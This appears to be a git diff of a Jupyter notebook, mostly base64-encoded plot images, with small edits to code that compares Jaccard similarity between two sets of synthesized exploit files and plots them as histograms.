PUSqVeu3XjJpIdfToUfTv3x9dunTBp59+Cnd3d1haWiIiIqLQJGigfN6jHj16wNXVFVu2bEGXLl2wZcsWuLm54YUXXihzneX1fgDiaKBCocD//ve/Iuu1s7PT+f7hw4fae01duXIFeXl5sLDg38BkvpjwEJUgMTERP//8M8LCwjBv3jzt/hs3buiUc3Z2hr29PS5dulRifQ0bNiy1zI4dO9CgQQNERkbqjIbMnz9fUszOzs5Qq9WFYgSAa9euSaqjOG3atMGmTZsQHx9vUD2G+v7776FSqbB//35YW1tr90dERBhUb0l3LlYqlRgxYgQ2btyIpUuXYteuXZgwYUKxSUt50OezbNiwIQRBgJeXF5o0aVJq3ZMnT0ZycjIWL16M2bNnY9WqVZgxY0a5xU5kapjOE5VA88us4F/cq1at0vnewsICQUFB2LNnT5F3aNYcP2jQIFy4cAE7d+4stkxR5zx58iROnDghOeYePXpg165duH37tnZ/dHQ09u/fX+rxaWlpxZ7rf//7HwD9Lo1VBKVSCYVCgdzcXO2+mJgY7Nq1y6B6NXNxirvT8ujRo5GYmIjQ0FCkpKRg1KhRBp2vNPp8lgMHDoRSqURYWFih/6+CIOjcRmHHjh345ptvsGTJErzzzjsYNmwY3nvvPVy/fr1C20NkTBzhISqBvb29dml1dnY2ateujQMHDuDWrVuFyn7wwQc4cOAAAgMDMXHiRPj4+CA+Ph7fffcdjh07BgcHB8yaNQs7duzAkCFDMG7cOAQEBODRo0fYvXs3PvvsM7Rs2RJ9+/ZFZGQkXnrpJfTp0we3bt3CZ599hmbNmiElJUVS3GFhYfjpp5/QuXNnvPbaa8jJycEnn3wCX19f/PnnnyUem5aWho4dO6J9+/bo2bMnPD09kZSUhF27duHo0aMICgpC69aty/R+lpc+ffpgxYoV6NmzJ0aMGIGEhASsXbsWjRo1KrV9JQkICAAAvPvuuxg2bBgsLS3Rr18/bSLUunVr+Pn54bvvvoOPjw/8/f3LpT0lkfpZNmzYEO+//z5mz56NmJgYBAUFoXr16rh16xZ27tyJiRMnYubMmUhISMCkSZPQtWtXTJkyBQCwZs0aHD58GCEhITh27BgvbZFZYsJDVEDBkZZt27Zh6tSpWLt2LQRBwIsvvoj//e9/8PDw0Dmudu3aOHnyJObOnYutW7fiyZMnqF27Nnr16gUbGxsA4jyKo0ePYv78+di5cyc2bdoEFxcXPP/886hTpw4A8cZ9d+/eRXh4OPbv349mzZphy5Yt+O6770q9GZ9GixYtsH//fsyYMQPz5s1DnTp1EBYWhvj4+FITAgcHB3z++ef48ccfERERgbt370KpVMLb2xvLli3DtGnT9Hk7K0S3bt2wYcMGLFmyBK+//jq8vLywdOlSxMTEGJTwtG3bFv/3f/+Hzz77DD/99BPy8vJw69YtnVVYwcHBeOuttwyarKwPfT7Ld955B02aNMHKlSsRFhYGAPD09MSLL76I/v37AwAmTZqEzMxM7Q0IAaBWrVpYv349BgwYgOXLl+Ott96qlLYRVSaFUJbZcURmbPXq1Zg+fTr++usvnSXDRIB4w8M33ngDMTExRa6yIiLTxHFLogJOnz6tfewBUX6CIGDDhg0IDAxkskMkM7ykRfSf77//HkeOHMHWrVsxfvx4nadoU9WWmpqK3bt34/Dhw7h48SJ++OEHY4dERHriJS2i/3h5eSE5ORkvvfQSVq1aVea755L5iYmJgZeXFxwcHPDaa69h0aJFxg6JiPTEhIeIiIjMHufwEBERkdljwkNERERmjwkPERERmT0mPERERGT2mPAQERGR2WPCQ0RERGaPCQ8RERGZPSY8REREZPb+Hyd5TXUl+ea+AAAAAElFTkSuQmCC", "text/plain": [ "
" ] @@ -2261,8 +2261,8 @@ " return jaccard(source, target)\n", "\n", "def main():\n", - " directory_prompt_2 = \"../CI/exploits/synthesized/\"\n", - " directory_prompt_1 = \"../CI/exploits/synthesized-prompt-1/\"\n", + " directory_prompt_2 = \"../CI/exploits/synthesized-exploit-diversification/\"\n", + " directory_prompt_1 = \"../CI/exploits/synthesized-main-prompt/\"\n", " \n", " # Read files and extract exploit function bodies for prompt 2\n", " file_names_2, file_contents_2 = read_files_from_directory(directory_prompt_2)\n", @@ -2286,8 +2286,8 @@ " sns.set_context(\"talk\") # Increase font sizes\n", "\n", " # Histograms with enhancements\n", - " sns.histplot(similarities_2, color='blue', label='Prompt 2', kde=True, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", - " sns.histplot(similarities_1, color='red', label='Prompt 1', kde=True, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", + " sns.histplot(similarities_2, color='blue', label='Prompt 2', kde=False, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", + " sns.histplot(similarities_1, color='red', label='Prompt 1', kde=False, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", "\n", " # Add lines for means\n", " mean_similarity_2 = sum(similarities_2) / len(similarities_2)\n", @@ -2748,12 +2748,12 @@ }, { "cell_type": "code", - "execution_count": 66, + "execution_count": 114, "metadata": {}, "outputs": [ { "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAiMAAAGCCAYAAAAygsNnAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjcuNSwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/xnp5ZAAAACXBIWXMAAA9hAAAPYQGoP6dpAACHV0lEQVR4nO3dd3gUVRfA4d+md9JJgtRQpJcgTarSiyBSFQEViAVEEQsoIhYUwfIhFrBAFBAFAUEQBQEVQZRQpIROUEIgnfS68/0xJJslPTvJJtnzPk+e3ZmdvXOSTbJn79x7rk5RFAUhhBBCCDOxMncAQgghhLBskowIIYQQwqwkGRFCCCGEWUkyIoQQQgizkmRECCGEEGYlyYgQQgghzEqSESGEEEKYlY25A6jKGjRoQFRUFA4ODjRs2NDc4QghhBDVxqVLl0hPT8fX15fw8PBij9VJ0bOiOTk5kZaWZu4whBBCiGrL0dGR1NTUYo+RnpFiODg4kJaWhqOjI82bNzd3OEIIUUB2NsTFgacn2Gj5H73CGhaWIiwsjLS0NBwcHEo8Vn7DitGwYUPi4+Np3rw5oaGh5g5HCCEKOHwYgoLg+++hQ4fq0LCwFEFBQRw+fLhUwxxkAKsQQgghzEqSESGEEEKYlSQjQgghhDArGTOiIUVRkMlJoqbT6XTodDpzhyFuqlULhg1Tb6tHw0IUJMmIiXJycoiNjSUpKYnMzExzhyNEpbCzs8PV1RUvLy+sra3NHY5FCwyELVuqU8NCFCSXaUyQk5PDv//+S2xsrCQiwqJkZmYSGxvLv//+S05OjrnDsWhZWRAdrd5Wj4aFKEh6RkwQGxtLeno61tbW1K5dG2dnZ6ysJL8TNZteryclJYXr16+Tnp5ObGwsvr6+5g7LYh0/rs7ADQ3VeAZuhTUsREFVKhn5+++/CQkJYc+ePYSHh+Pl5UWXLl14/fXXadq0ad5xkydPJiQkpMDzmzVrxunTpyst3qSkJABq165NLbmuKiyElZVV3u/71atXSUpKkmRECGGSKpWMLFq0iD/++IPRo0fTpk0brl27xrJly+jQoQN//vknrVq1yjvW3t6ezz77zOj5lZkQKIqSd2nG2dm50s4rRFWR+3ufmZmJoigyqFUIUW5VKhmZNWsWa9euxc7OLm/f2LFjad26NW+99RarV6/O229jY8OECRPMESaA0awZuTQjLFH+33tJRoQQpqhSyUi3bt0K7GvSpAktW7YkLCyswGM5OTmkpKTg5uZWGeEJIUSZKYpS4iJhpkhLswIcSUtLIyVFr0mbTk5OSGopKlOVSkYKoygK169fp2XLlkb7U1NTcXNzIzU1FQ8PD8aPH8+iRYtwcXEptr3ly5ezYsWKUp27sARICCHKIjU1tcT/S6axApzp3j0F0CYZSU5OxrltW7hxA+QytKgEVT4ZWbNmDREREbz66qt5+/z9/Xnuuefo0KEDer2eHTt28NFHH3Hs2DH27t2LTTErTEZGRnL48OEKjbmiPwmVlZOTk3ShC1Fj6YEk7Zu1tgbpdRaVpEonI6dPn+aJJ56ga9euTJo0KW//m2++aXTcuHHjaNq0KS+++CIbNmxg3LhxRbbp7+9Ph1JOU8td/risKv6TUNkkJydb7CBbnU7H/PnzeeWVVwBYtWoVDz30EJcuXaJBgwZlaqt3797ExMRw4sSJYo8LDw+nYcOGrFy5ksmTJ5cvcFEjzZ59HVtbbf8W4+J0/PyzHf37Z+LpWf4K0FlZKSxZUtuw49w5mD4dli2DJk00iFSIolXZZOTatWsMGTKEWrVqsWHDhhKrPD799NPMmzePXbt2FZuMBAcHExwcXKoYcpc/FnDhwgXefvttdu7cydWrV7Gzs6N169aMGTOGadOm4ejoaO4QhajybG2dsbPTNhlRFLh0CRTFhnxj/02XlAQ//6zeClHBqmQycuPGDQYNGkRCQgK///47AQEBJT7H0dERLy8v4uLiKiHC0quIT0KlUeBTjgm2bdvG6NGjsbe3Z+LEibRq1YrMzEz27dvHs88+y8mTJ0s9DqeypaWlFXvZTgghhPlVuf/S6enpDBs2jLNnz7Jr1y5atGhRquclJSURExODj49PBUdYNhXxSagyXbp0iXHjxlG/fn12796Nv79/3mNPPPEE58+fZ9u2bWaMsHgODg7mDkEIIUQJqlSBjJycHMaOHcuBAwdYv349Xbt2LXBMenp6XuXT/F577TUURWHgwIGVEarFePvtt0lOTubzzz83SkRyNW7cmJkzZwKQnZ3Na6+9RmBgIPb29jRo0IC5c+eSkZFh9JwGDRowdOhQ9u7dS8eOHXF0dKR169bs3bsXgI0bN9K6dWscHBwICgriyJEjRs+fPHkyLi4uXLx4kQEDBuDs7ExAQACvvvpqgVWTdTpd3niRonz//fcMGTKEgIAA7O3tCQwM5LXXXityzZXQ0FC6deuGo6MjDRs25JNPPim2/VynT59m1KhReHp64uDgQMeOHdkiC5EJIUTV6hl55pln2LJlC8OGDSMuLs6oyBnAhAkTuHbtGu3bt2f8+PHcfvvtAPz0009s376dgQMHMnz4cHOEXmNt3bqVRo0aFVoD5lZTpkwhJCSEUaNG8cwzz3Dw4EHefPNNwsLC2LRpk9Gx58+f5/777yc4OJgJEyawZMkShg0bxieffMLcuXN5/PHHAXWw8pgxYzhz5oxRka2cnBwGDhxIly5dePvtt9mxYwfz588nOzvbaOZVaaxatQoXFxdmzZqFi4sLu3fv5uWXXyYxMZHFixcbHRsfH8/gwYMZM2YM48eP59tvv+Wxxx7Dzs6Ohx9+uMhznDx5kjvvvJM6derwwgsv4OzszLfffsuIESP47rvvuPfee8sUsxC53Nxg0KAKmPhSt646eLVuXY0bFqKgKpWMHD16FFDfALdu3Vrg8QkTJuDu7s7QoUPZuXMnISEh5OTk0LhxYxYuXMjs2bOlGqqGEhMTiYiIKFWCd+zYMUJCQpgyZQqffvopAI8//ji+vr4sWbKEPXv20KdPn7zjz5w5w/79+/N6v1q0aMGAAQOYOnUqp0+fpl69egB4eHgQHBzMb7/9Ru/evfOen56ezsCBA1m6dGneuYYNG8aiRYt48skn8fb2LvX3uXbtWqMBuI8++iiPPvooH330Ea+//jr29vZ5j129epV33nmHWbNmAeqA6M6dOzNnzhwefPBBbG1tCz3HzJkzqVevHn///Xdee48//jjdu3fn+eefl2RElJuzM3TqVAEN+/jAE09UQMNCFFSl3rn37t2LoihFfgG4u7vz1Vdfce7cOVJSUkhPT+fEiRPMmTOnyDcCUT6JiYkAuLq6lnjs9u3bAfLepHM988wzAAXGlbRo0cLoMlznzp0BuOuuu/ISkfz7L168WOCc06dPz7uv0+mYPn06mZmZ7Nq1q8R488ufiOSOPerRowepqakFFl60sbExmo1lZ2dHcHAwUVFRhIaGFtp+XFwcu3fvZsyYMXntx8TEEBsby4ABAzh37hwRERFlilmIXGlp8M8/6q2m4uJg9Wr1VogKVqWSEVG15JbZL2yMzq0uX76MlZUVjRs3Ntrv5+eHu7s7ly9fNtqfP+EAwyKHdW/pEs7dHx8fb7TfysqKRo0aGe3LXdk5PDy8xHjzO3nyJPfeey+1atXCzc0NHx+fvHWPbty4YXRsQEBAgZotJZ33/PnzKIrCvHnz8PHxMfqaP38+AFFRUWWKWYhcCQmwaZN6q6nwcHjwQfVWiApWpS7TiKrFzc2NgICAEot85VfaSq9F1Y0pav+tA1O1kpCQQK9evXBzc+PVV18lMDAQBwcHDh8+zPPPP49eb3p57dw2Zs+ezYABAwo95tYkTgghLIkkI6JYQ4cOZcWKFRw4cKDQ2U256tevj16v59y5czRv3jxv//Xr10lISKB+/fqaxqXX67l48WJerwTA2bNnAcpUWXXv3r3ExsayceNGevbsmbf/0qVLhR5/9epVUlJSjHpHSjpvbg+Ora0tffv2LXVsQghhKeQyTQXLykohM7Pyv7KyUjSJ/7nnnsPZ2ZkpU6Zw/fr1Ao9fuHCB//3vfwwePBiA999/3+jxd999F4AhQ4ZoEk9+y5Yty7uvKArLli3D1taWu+++u9Rt5PbE5O95yczM5KOPPir0+OzsbJYvX2507PLly/Hx8SEoKKjQ5/j6+tK7d2+WL19OZGRkgcejo6NLHa8QQtRE0jNSwbSqgmougYGBrF27lrFjx9K8eXOjCqz79+9n/fr1TJ48mZkzZzJp0iRWrFiRd+njr7/+IiQkhBEjRhjNpNGCg4MDO3bsYNKkSXTu3Jkff/yRbdu2MXfu3DIVvuvWrRseHh5MmjSJJ598Ep1Ox1dffVXkZaGAgAAWLVpEeHg4TZs25ZtvvuHo0aOsWLGi2AHUH374Id27d6d169ZMnTqVRo0acf36dQ4cOMCVK1c4duxYmX8GQgDY2sJtt6m3mnJ2hi5dZNVeUSkkGREluueee/jnn39YvHgx33//PR9//DH29va0adOGd955h6lTpwLw2Wef0ahRI1atWsWmTZvw8/Njzpw5eYM0tWRtbc2OHTt47LHHePbZZ3F1dWX+/Pm8/PLLZWrHy8uLH374gWeeeYaXXnoJDw8PJkyYwN13313o+A4PDw9CQkKYMWMGn376KbVr12bZsmV5P4OitGjRgkOHDrFgwQJWrVpFbGwsvr6+tG/fvswxC5Gftzc88kgFNNysGRw4UAENC1GQTqmokYE1QO5CeR06dCgwbVOv13PmzBkAmjVrZlTfRFEUUlNTKzXW4jg5OZV6YGl1MHnyZDZs2EBycrK5Q7Foxf0NCIOUlJS8VbznzEmusstDZGam8OabapyWvNK30E5x76G3kp6RCqDT6eQPWQhRKSIjYcUKmDYNClmxofwOH4agIAgNhQ4dNGxYiILko4wQQgghzEqSESGEEEKYlSQjotpZtWqVjBcRQogaRJIRIYQQQpiVDGAVQohqzMcHZsyAm0tJlVv+iZUpKSlQvz66Y8dQ6tSBFEMRxexsiI3VceMGZGZCTo4OBwcFV1fw9VWwqcR3lZo2U9CSSTIihBDVmI0NeHqa3k5WlqEcQe3atQFHIAhoCbQAmt+89afoTvUcIAI4DoQCvwL7gEzTAyyETEGuOeQyjRBCVGPx8bBxo3priowMHTAMeBvYTwOO8BX1acDzwJNAP6AOxb9tWAP1gCHAy8AvQCywFugLSC+GKJz0jAghRDWWng7Hj0Mx61gWSlHg+nU4f179+u8/b2BL3uMeHGYCa3iXWYTTsMDzrazUSzI6HWRlgV5fVKLhAowHxuPurqdbtyxatcqmiAW6S5SVlVLtl9kQBUkyIoQQFkJR4L//4NQpCAuDxMT8jxaeTPjVhg511LEpPj7g4QEuLmBnZ3x8VpbaXlycWojtyhW4dEkdY5IrIcGK7dvt2b/fngED1IrzMuRDgCQjQghRo+n1cPmymoCcPg3Fz4qPAfbSp89g7nIHNsHw4RBZisqutrbg5aV+NWmi7svKggsX4MgROHdOTYYAEhLgm2/U44YONX3wraj+ZMyIEGag0+l45ZVX8rZXrVqFTqcjPDy8zG317t2bVq1alXhceHg4Op2OVatWlfkconpRFLVnYvt2eOcd+PJLOHSo8EQkIAB69YL7748DagOj6dAhgzIsfl0kW1u4/XYYPx6mT4f27SH/EkbnzsHHH6u9NMKySc9IBWnbti1RUVHmDgNfX99yL0+/atUqHnroIezt7blw4QJ16tQxerx3797ExMRw4sQJLUItswsXLvD222+zc+dOrl69ip2dHa1bt2bMmDFMmzYNR0dHs8QlRGVycVGTCRcX9RLJP/+oY0ji4go/XqeDBg2geXP16+YafiQnZwP6vOOSXPzZ22s+SS7aLHjj6Qn33APduqlJ0qVL6v70dPj2W+jcGfr3N05WhOWQZKSCREVFcf3aNWrn/qWbwXWNqpRmZGTw1ltv8cEHH2jSnha2bdvG6NGjsbe3Z+LEibRq1YrMzEz27dvHs88+y8mTJ1mxYoW5wyxSWloaNpVZkEHUWHZ2akLx7bdqb0hhrKygUSNo0UIdp+HkVHK7ya7+7O39iqaxAnh7w4MPwrFjalKSlaXuP3hQTaDuuw/s7TU/raji5L9hBart4kLkM8+Y7fz+77yjSTvt2rXj008/Zc6cOQQEBGjSpikuXbrEuHHjqF+/Prt378Y/31KlTzzxBOfPn2fbtm1mjLBkDg4O5g5BVHORkeqll+PHDW/ot2rQAFq3VpOQsv7K2Wckctt/B7hStysZ9toO6tDpoF07qFsXNmyAa9fU/efOQUgITJhQuoRJ1BzSISZKNHfuXHJycnjrrbeKPS47O5vXXnuNwMBA7O3tadCgAXPnziUjI8PouAYNGjB06FD27dtHp06dcHBwoFGjRnz55Zeliuftt98mOTmZzz//3CgRydW4cWNmzpxZ7rj27t1Lx44dcXR0pHXr1uzduxeAjRs30rp1axwcHAgKCuLIkSNGz588eTIuLi5cvHiRAQMG4OzsTEBAAK+++qpRdUsoOGakMN9//z1DhgwhICAAe3t7AgMDee2118jJySn0+NDQULp164ajoyMNGzbkk08+Kbb9XKdPn2bUqFF4enri4OBAx44d2bJlS8lPFJUuMxNCQ+HTT2HFCjh8uGAi4uMDd98NTz0FkyZBhw5lT0QAPOPO8+CagXjGndck9sJ4ecFDD6njSnJFRqoJiSw/ZVkkGRElatiwIRMnTuTTTz/l6tWrRR43ZcoUXn75ZTp06MB7771Hr169ePPNNxk3blyBY8+fP8+oUaPo168f77zzDh4eHkyePJmTJ0+WGM/WrVtp1KgR3bp1K1X8ZY3r/vvvZ9iwYbz55pvEx8czbNgw1qxZw9NPP82ECRNYsGABFy5cYMyYMej1eqPn5+TkMHDgQGrXrs3bb79NUFAQ8+fPZ/78+aWKNb9Vq1bh4uLCrFmz+N///kdQUBAvv/wyL7zwQoFj4+PjGTx4MEFBQbz99tvcdtttPPbYY3zxxRfFnuPkyZN06dKFsLAwXnjhBd555x2cnZ0ZMWIEmzZtKnPMomIkJcHOnfDuu/DDD1DYn2HLlhAcDI89Bt27Q61alR9nedjZwZgx6piRXFFR6qDb1NSinydqFrlMI0rlxRdf5Msvv2TRokX873//K/D4sWPHCAkJYcqUKXz66acAPP744/j6+rJkyRL27NlDnz598o4/c+YMv/32Gz169ABgzJgx1K1bl5UrV7JkyZIi40hMTCQiIoLhw4eXKu7yxLV//3663qwg1aJFCwYMGMDUqVM5ffo09erVA8DDw4Pg4GB+++03evfunff89PR0Bg4cyNKlS/PONWzYMBYtWsSTTz6Jt7d3qeIGWLt2rdEg3EcffZRHH32Ujz76iNdffx37fBfWr169yjvvvMOsWbMACA4OpnPnzsyZM4cHH3wQW1vbQs8xc+ZM6tWrx99//53X3uOPP0737t15/vnnuffee0sdr9BedDTs368OSr0l7wXgttsgMBB+/RXuvBP8/Co/Ri3odDBggJqY/P67ui86GtauhYkT1f2iZpOeEVEqjRo14sEHH2TFihVERkYWeHz79u0AeW+GuZ65OWbm1jEcLVq0yEtEAHx8fGjWrBkXL14sNo7Em1WaXF1dSxV3eeLqmq+UZeebH9fuuuuuvEQk//7C4p0+fXrefZ1Ox/Tp08nMzGTXrl2lijlX/kQkKSmJmJgYevToQWpqKqdPnzY61sbGhuDg4LxtOzs7goODiYqKIjQ0tND24+Li2L17N2PGjMlrPyYmhtjYWAYMGMC5c+eIiIgoU8xCG7Gx8N138NFHcPSocSJibw933AGPPgqPPKIOSK0JdDq46y7o2dOwLyJCHZhbWCImahZJRkSpvfTSS2RnZxc6duTy5ctYWVnRuHFjo/1+fn64u7tz+fJlo/3539hzeXh4EH9zgY2cnByuXbtm9JWZmYnbzepISUlJpYrZ1Lhq3ezrrlu3bqH7429ZEMTKyopGjRoZ7WvatClAmWuInDx5knvvvZdatWrh5uaGj48PEyZMAODGjRtGxwYEBBRYMKyk854/fx5FUZg3bx4+Pj5GX7mXlarC9HRLkpgIW7fChx/CrTPm3dygXz94+mkYPBhq36yIbm2tVkW9dg0WLFC/bubgBaSkwGuvqceUVG4m29qeOI9Asq0rd2pL797QsaNh+8IF+Omnoo/X6+G999RxJw4O6qDYZ54xWmi4RMnJsHChOtjX1VWd8dOtm/ozyj/cKz1dHa8zfLg6ONjRUZ2lNH681EoxlVymEaXWqFEjJkyYwIoVKwodtwCUejlv6yIWpsgd6Pnff//RsKHxehh79uyhd+/eBAQElLm2ialxlRSv1hISEujVqxdubm68+uqrBAYG4uDgwOHDh3n++ecLjFUpj9w2Zs+ezYABAwo95tYkTlSMrCz47Tc4cABuHZ/s46NegmnVikLXc/H1hSefhNyc08ZGnWHTv796P7/ckkOlqeUR7duSpU9W3ODVouh0MGiQOl7k1Cl1319/qclXhw4Fj3/6aVi6FO69V01CwsLU7SNHYNeukr9XvV493/796oDfGTPUc3/9tTq4NiwMFi1Sjw0Ph2nT1DE5jzyiFoy7eFEt3LZxI+zYAfmu+ooykGRElMlLL73E6tWrWZT713lT/fr10ev1nDt3jubNm+ftv379OgkJCdSvX79M5/Hz82Pnzp1G+9q2bQvA0KFDWbFiBQcOHDC6pFIYreMqiV6v5+LFi3m9EgBnz54F1Nk6pbV3715iY2PZuHEjPfP1W1/KrRR1i6tXr5KSkmLUO1LSeXN7cGxtbenbt2+pYxPaOn8etm1TS6Tn5+Gh9hK0bl229Vtuv13tVTlzRh3Umt/Ro2oJ9hKuhpqdlRWMGKGuRJx7VXjbNjUhyV8Z9tQpHR98ACNHqpe1cjVsqCZo69bB/fcXf66DB2HfPnX20XvvGfY//rj6s1y+3JCM+PioSU67dsZtPPCAWl322WfV6dai7OQyjSiTwMBAJkyYwPLly7mWWxwAGDx4MADvv/++0fHvvvsuAEOGDCnTeRwcHOjbt6/Rl4eHBwDPPfcczs7OTJkyhevXrxd47oULF/IG2WodV2ksW7Ys776iKCxbtgxbW1vuvvvuUreR2xOTv+clMzOTjz76qNDjs7OzWb58udGxy5cvx8fHh6CgoEKf4+vrS+/evVm+fHmh44Cio6NLHa8ou6QkWL8e1qwxTkRcXGDIEHjiCWjTpuRE5Pp1WLzYUHHV31990z561Pi4iAh1UOitb6TGgoCNfPhhLd54Tc/aV89zePu1AmM2IiJg82b44AN44w1480344ovCL1Vs3qxeFkpPV2cCLV4Mr7+uHl9YkbYbNyAmRk1Ixo6F3Pxar1drkqSnG45dv94GRVETifymTlXrlKxeXdz3qspdLPDWEkp2durlmvxXP728Cv/5tWih9lyZqRh1jSA9IxXoenKyZoXHynv+iqgA++KLL/LVV19x5swZWt786NW2bVsmTZrEihUr8i4x/PXXX4SEhDBixAijGSumCgwMZO3atYwdO5bmzZsbVWDdv38/69evZ/LkyZUeF6hJ1I4dO5g0aRKdO3fmxx9/ZNu2bcydOxefMiz20a1bNzw8PJg0aRJPPvkkOp2Or776qsjLQgEBASxatIjw8HCaNm3KN998w9GjR1mxYkWRM2kAPvzwQ7p3707r1q2ZOnUqjRo14vr16xw4cIArV66UeykBUbywMNiyxfiNVaeDrl3V0u5lmT2i16uXFfL/arRrBz//rL7R5i5Cd+SI+saar9POyMWLdsAfwHk6dsygHtHY7tvHl4cmcSEFRo82jj8mRu15qVUL0tLUS0Dffqv2UrRuXbD91avV8/fqpcb755/qbJmZM40rrm7apC7sN3MmuLur5w0JUb+/hATYts1w8OHDVlhZQadOxudycFB/Bn//XfLPr1Mn9Txvv62OA+ncWY0vJESt6VKacj16vdqDkzuOR5SdJCMVxNfX19whUNvFpULiaNy4MRMmTCAkJMRo/2effUajRo1YtWoVmzZtws/Pjzlz5pSrxkZJ7rnnHv755x8WL17M999/z8cff4y9vT1t2rThnXfeYerUqWaJy9ramh07dvDYY4/x7LPP4urqyvz583n55ZfL1I6Xlxc//PADzzzzDC+99BIeHh5MmDCBu+++u9DxHR4eHoSEhDBjxgw+/fRTateuzbJly4x+DoVp0aIFhw4dYsGCBaxatYrY2Fh8fX1p3759mWMWJcvKUuuF3NqVX7eu2hui1ZtZmzbqeIljx6BHD/W8J06oYy4KG0ORnQ0//eSKmozcRefO0TRJiiF430OkdO7Lhj9vIzxcfbMGdcbLrVf2OndWL2n89lvhyYi/v/o95vLxUXs6jh83HrB6q/r11XEYu3er22fP2gBTgU+JjLTC27vw8vF16qjjQDIzi0/uPDzUxHDKFLXeSS5XV/XSz4gRRT831yefqMnIvHklHysKJ8lIBakJnygnT56c18Nwq1WrVhVY/dXGxoaXX365xDexomZ35FY6La0mTZqUav0ZU+MqrDeiQYMGRfZSNGrUiJ+KG/5fSJuF/ay7devGgQMHSnxu/p/b/v37izxnUTE3atSoQGIpKsLthIQ4kv/ql62tWl+jQ4eyjQspiZOTOuX36FE1GQkLg4wMdVxDYS5cgNRUa2Al4E5qqo7kdGti8KJVvRts+PM2LlwwJCP539yzsgxVYBs0UHsTMjIKJghduhhv545Pv3VBv8L+5XTvrvaWXLiQu+ddYBdpaUWvY5NbdTY1teSeJhcX9TJL7kJ+cXHqjKb774fvv1dnMRVl/36YNQvatoW5c4s/jyiaJCNCCFHh7gNCiI42dEv4+6uLwnl5VcwZ27VTL4P8+6+alNSpYzz4M7+YmNx7KwF1dgi4M5sY+FZ9JH959pQUtafizJnCp9CmpxdMEm4O+cqTu/ZMWlrJ34tOp06n/fjj3ONdgFU4OuaPvWAM+c9TlOPH1QTkvffU2i25xo9XE5SpU9UkqLCZTKGham9PQIA6wFaWnCo/SUaEEKKCKAq89ZYtsMFof+fO6mUOLRZu9vKChx82Hn8CamVWV1e1OuulS8aXSAqLUzUbOMqoUZtwtbHBPf4SCR4NybZ1JLfOoKLAV1+pSUDnzuobsb29evnn6FH1zb2wTsOiptiWdna8q6taX8Uwa6YnWVl6YmIK74mJiFAHoJbUK/Lee+rPLv+YGFCTmCFDYNkydUpvYKDx44cPqz0mtWrBnj1qsifKT5IRIYSoANnZak2KlSsN74YODgr33qsrchBpedjZqWNObr3KaGWlXjrYt09Negobx5HL0DuTAvxC/frZuLi4Ai24db3e69fVr549C9bUOHzYlO+kZK1awalT2YSFqW9d4eE69Hq1Dkm+gs6kp6uJUf5qrkXJLTJc2PqT2dnGt7kOH1aTSVdXNRHRuEKARZKpvUJoZNWqVSTLUqMCdZzCyJGwcmX+vWeZODFN00QE1BkzP/1U+OWSjh3V2StDhxY9tgLUT/1OTnrgBUC9nuKWeIUBP83CLfEKWVlq7wMU3cMRFQW3rFJQLrlTe4tYnJr+/TOAWACystSBNrfM3OfTT9XX4IEHjPdfuFAwxhYt1NtbK9ImJKjjRTw8IH/tvyNH1B4RFxc1EbmlNqMoJ+kZEUIIDaWkwLBh6huVwW/ACLy8/quQ8/35p5pw3KpWLbVwWkns7GDQoES++84XOMNvvznS1CGRnD+t2RzvwOHLas2PBg3USx8+PvDHH+rAVS8vdS2d0FC1GmwhJWvK5NapvbdSx4DMAgyDrjduVJO/wYMNFVh79SpY8Ozuu9W2818aeuopdYXgF15QLzHdeac6gPXTT9Xv5cMPDeNFLl9WE5H4eLWo2v796ld+995rXJtElI4kI0IIoZHkZDUp+PVXw76hQ7P54YcBQHqRz6sKGjTIBLoDLxAWdj+HU+uyk9m4JDjQpYth2rGVlfomv3OnOnU4M1NNQkaMUC/fmJqMlM6XwERALSRYq5Y6dXnbNjVZmjEDXn21dGXv69dXL/O8+ir88otatdXRUR0A/M47apKT69IlNfECeOWVwtu7dEmSkfKQZKSc8q91kpWVZbScuxCWICt3PielX/unJktPV6eG5k9EJkyAZcsycHev+EQkIABKWzqn6CmoJ4EHCQ4eQpOkSwSvCGL58FAi/Y0XhcktRnar5s0L9sSMGFF0rY7C4i2imkAhHsXW9ixZWTpu3FATkNdeK/4ZRa1VGRioFjkrSe/epR9wK8pGkpFy0ul0ODs7k5KSQkREBL6+vtjb2xe5oJoQNUVOTg4ZGRl5K/o6OztbfDKSnQ3jxhlfmpk8GT77rOAsF6GV88yYkcW776oDhBcvVhe2u2XRbFFNSDJiAm9vb9LT08nIyOC//7S/FixEVWdtbY23t7e5wzArRVFnzXz/vWHfhAnw+eelu0xgKicndaBqSfU0yirVyZu/Oj5OqlPVfX2fey6LdevsuHpVHWA7e7Y6fkRUPzKbxgROTk4EBgbi4eGBjRYFA4SoJmxsbPDw8CAwMBAnrd8Fq5k33jCeNXPPPeoicJWRiIA6XmLIEPVWSzdq1WP7kA+5Uauetg1ryMVF7RHJtWmTOphXVD/yDmoia2tr/Pz88PPzQ1GUIkuEC1FT6HQ6i78sk+vrr43XI+nRQx0AWczahJrLylKnwnp7a3te26xUvGNOE+N9O1m2VTfhHDcO3n1Xnc0D8PzzsHevtuX1RcWrUj0jf//9N9OnT6dly5Y4OztTr149xowZw9mzZwscGxYWxsCBA3FxccHT05MHH3zQ7Eue63Q6rKys5Eu+avSXJCKq0FB1jEKuJk3UT+aOjpUbR0wMrFhRdFn08vKOOU3wiiC8YzQoHlKBrKxg0SLD9m+/wY8/mi8eUT5Vqmdk0aJF/PHHH4wePZo2bdpw7do1li1bRocOHfjzzz9p1aoVAFeuXKFnz57UqlWLhQsXkpyczJIlSzh+/Dh//fUXdmVZf1sIIcooOlqd8plbCMzTU51WWlHrzIji3X23Wv9j5051+4UX1AUIZT5B9VGlkpFZs2axdu1ao2Ri7NixtG7dmrfeeovVq1cDsHDhQlJSUggNDaVePfV6ZqdOnejXrx+rVq1i2rRpZolfCFHz5eSoi6j9+6+6bWUF69erPSPCfN56y5CMHD8Oa9bAxInmjUmUXpVKRrp161ZgX5MmTWjZsiVhYWF5+7777juGDh2al4gA9O3bl6ZNm/Ltt99KMiKEBVAUhdTU1Eo/78KFtvzyi+ED0+uvZ9C5c3ah5dgBUvI9IGPKKk6HDmqS+PXX6va8eTBmjKykW11UqWSkMIqicP36dVq2bAlAREQEUVFRdOzYscCxnTp1Yvv27cW2t3z5clas